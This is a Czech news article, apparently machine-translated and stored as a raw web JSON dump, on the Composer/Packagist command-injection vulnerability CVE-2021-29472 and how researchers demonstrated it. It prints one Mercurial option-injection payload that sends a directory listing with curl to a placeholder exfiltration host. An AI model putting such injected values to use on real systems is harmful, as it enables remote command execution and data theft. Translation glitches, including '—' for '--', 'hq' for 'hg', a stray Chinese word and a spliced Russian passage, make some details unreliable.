V spr\u00e1vci z\u00e1vislost\u00ed Composer byla zji\u0161t\u011bna kritick\u00e1 zranitelnost (CVE-2021-29472), kter\u00e1 umo\u017e\u0148uje prov\u00e1d\u011bt libovoln\u00e9 p\u0159\u00edkazy v syst\u00e9mu p\u0159i zpracov\u00e1n\u00ed bal\u00edku se speci\u00e1ln\u011b form\u00e1tovanou hodnotou URL, kter\u00e1 ur\u010duje adresu pro stahov\u00e1n\u00ed zdrojov\u00fdch k\u00f3d\u016f. Probl\u00e9m se projevuje v komponent\u00e1ch GitDriver, SvnDriver a HgDriver, pou\u017e\u00edvan\u00fdch p\u0159i pr\u00e1ci se syst\u00e9my spr\u00e1vy zdrojov\u00e9ho k\u00f3du Git, Subversion a Mercurial. Zranitelnost byla odstran\u011bna ve verz\u00edch Composer 1.10.22 a 2.0.13. <\/p>\n
Je zvl\u00e1\u0161\u0165 d\u016fle\u017eit\u00e9 poznamenat, \u017ee probl\u00e9m se\u4e3b\u8981n\u011b dotkl ve v\u00fdchoz\u00edm nastaven\u00ed pou\u017e\u00edvan\u00e9ho repozit\u00e1\u0159e bal\u00ed\u010dk\u016f Composer, Packagist, kter\u00fd zahrnuje 306 tis\u00edc bal\u00ed\u010dk\u016f pro v\u00fdvoj\u00e1\u0159e v jazyce PHP a m\u011bs\u00ed\u010dn\u011b obsluhuje v\u00edce ne\u017e 1,4 miliardy sta\u017een\u00ed. Experiment uk\u00e1zal, \u017ee pokud by \u00fato\u010dn\u00edci m\u011bli informace o probl\u00e9mu, mohli by z\u00edskat kontrolu nad infrastrukturou Packagist a odchytit p\u0159ihla\u0161ovac\u00ed \u00fadaje maintainer\u016f nebo p\u0159esm\u011brovat stahov\u00e1n\u00ed bal\u00ed\u010dk\u016f na ciz\u00ed server, co\u017e by vedlo k dod\u00e1n\u00ed variant bal\u00ed\u010dk\u016f s malwarov\u00fdmi zm\u011bnami za \u00fa\u010delem vlo\u017een\u00ed backdooru b\u011bhem instalace z\u00e1vislost\u00ed. <\/p>\n
Nebezpe\u010d\u00ed pro koncov\u00e9 u\u017eivatele je omezeno t\u00edm, \u017ee obsah souboru composer.json obvykle ur\u010duje s\u00e1m u\u017eivatel, a odkazy na zdrojov\u00e9 k\u00f3dy se p\u0159ed\u00e1vaj\u00ed p\u0159i p\u0159\u00edstupu k ciz\u00edm repozit\u00e1\u0159\u016fm, kter\u00e9 jsou obvykle d\u016fv\u011bryhodn\u00e9. Hlavn\u00ed \u00fader zas\u00e1hl repozit\u00e1\u0159 Packagist.org a slu\u017ebu Private Packagist, kter\u00e9 vyvol\u00e1vaj\u00ed Composer s p\u0159ed\u00e1n\u00edm dat od u\u017eivatel\u016f. \u00dato\u010dn\u00edci mohli prov\u00e9st sv\u016fj k\u00f3d na serverech Packagist um\u00edst\u011bn\u00edm speci\u00e1ln\u011b form\u00e1tovan\u00e9ho bal\u00edku. <\/p>\n
T\u00fdm Packagist odstranil zranitelnost do 12 hodin po obdr\u017een\u00ed zpr\u00e1vy o zranitelnosti. V\u00fdzkumn\u00edci soukrom\u011b upozornili v\u00fdvoj\u00e1\u0159e Packagist 22. dubna a ve stejn\u00fd den byla probl\u00e9m vy\u0159e\u0161en. Ve\u0159ejn\u00e1 aktualizace Composeru s odstran\u011bn\u00edm zranitelnosti byla zve\u0159ejn\u011bna 27. dubna a detaily byly odhaleny 28. dubna. Audit protokol\u016f na serverech Packagist neodhalil s zranitelnost\u00ed souvisej\u00edc\u00ed podez\u0159elou aktivitu. <\/p>\n
Probl\u00e9m je zp\u016fsoben chybou v k\u00f3du pro kontrolu platnosti URL v ko\u0159enov\u00e9m souboru composer.json a odkazech pro sta\u017een\u00ed zdrojov\u00fdch text\u016f. Tato chyba je v k\u00f3du p\u0159\u00edtomn\u00e1 od listopadu 2011. V Packagist se pro organizaci stahov\u00e1n\u00ed k\u00f3du bez vazby na konkr\u00e9tn\u00ed syst\u00e9m spr\u00e1vy zdrojov\u00fdch text\u016f pou\u017e\u00edvaj\u00ed speci\u00e1ln\u00ed vrstvy, kter\u00e9 jsou vykon\u00e1v\u00e1ny pomoc\u00ed p\u0159\u00edkazu \u201efromShellCommandline\u201c s p\u0159ed\u00e1n\u00edm argument\u016f p\u0159\u00edkazov\u00e9 \u0159\u00e1dky. Nap\u0159\u00edklad pro git se vol\u00e1 p\u0159\u00edkaz \u201egit ls-remote \u2014heads $URL\u201c, kde je URL zpracov\u00e1na metodou \u201eProcessExecutor::escape($url)\u201c, kter\u00e1 escapuje potenci\u00e1ln\u011b nebezpe\u010dn\u00e9 konstrukce, jako jsou \u201e$(…)\u201c nebo \u201e`…`. <\/p>\n
Podstatou probl\u00e9mu je, \u017ee metoda ProcessExecutor::escape neescapovala sekvenci \u201e\u2014\u201c, co\u017e umo\u017enilo uv\u00e9st v URL jak\u00fdkoli dal\u0161\u00ed parametr vol\u00e1n\u00ed. Takov\u00e9 escapov\u00e1n\u00ed chyb\u011blo v ovlada\u010d\u00edch GitDriver.php, SvnDriver.php a HgDriver.php. \u00datok p\u0159es GitDriver.php byl omezen t\u00edm, \u017ee p\u0159\u00edkaz \u201egit ls-remote\u201c nepodporoval specifikaci dal\u0161\u00edch argument\u016f po cest\u011b. \u00datok na HgDriver.php byl mo\u017en\u00e9 prov\u00e9st p\u0159ed\u00e1n\u00edm parametru \u201e\u2014config\u201c n\u00e1stroji \u201ehq\u201c, kter\u00fd umo\u017e\u0148uje prov\u00e1d\u011bt jak\u00fdkoli p\u0159\u00edkaz prost\u0159ednictv\u00edm manipulace s nastaven\u00edm \u201ealias.identify\u201c. Nap\u0159\u00edklad pro stahov\u00e1n\u00ed a vykon\u00e1v\u00e1n\u00ed k\u00f3du prost\u0159ednictv\u00edm spu\u0161t\u011bn\u00ed n\u00e1stroje curl bylo mo\u017en\u00e9 uv\u00e9st: \u2014config=alias.identify=!curl http:\/\/exfiltration-host.tld \u2014data \"$(ls -alh)\" <\/p>\n
Um\u00edst\u011bn\u00edm testovac\u00edho bal\u00ed\u010dku s takov\u00fdm URL na Packagist, v\u011bdci potvrdili, \u017ee po um\u00edst\u011bn\u00ed na jejich server byl p\u0159ijat HTTP po\u017eadavek z jednoho z servery<\/a> Packagist v AWS, obsahuj\u00edc\u00ed v\u00fdpis soubor\u016f v aktu\u00e1ln\u00edm adres\u00e1\u0159i. \u0412 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Composer \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-29472), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c URL, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u043c \u0430\u0434\u0440\u0435\u0441 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 \u0442\u0435\u043a\u0441\u0442\u043e\u0432. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 GitDriver, SvnDriver \u0438 HgDriver, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u044b\u0445 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c\u0438 \u0442\u0435\u043a\u0441\u0442\u0430\u043c\u0438 Git, Subversion \u0438 Mercurial. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0445 Composer 1.10.22 \u0438 2.0.13. […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-100078","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Zranitelnost v bal\u00ed\u010dkov\u00e9m mana\u017eeru Composer, kter\u00e1 umo\u017e\u0148uje kompromitaci PHP repozit\u00e1\u0159e Packagist | ProHoster","description":"V mana\u017eeru z\u00e1vislost\u00ed Composer byla zji\u0161t\u011bna kritick\u00e1 zranitelnost (CVE-2021-29472), kter\u00e1 umo\u017e\u0148uje prov\u00e1d\u011bt libovoln\u00e9 p\u0159\u00edkazy v syst\u00e9mu p\u0159i zpracov\u00e1n\u00ed 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\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044e PHP-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f Packagist | ProHoster","og:description":"\u0412 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Composer \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-29472), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c URL, 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Zdroj: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"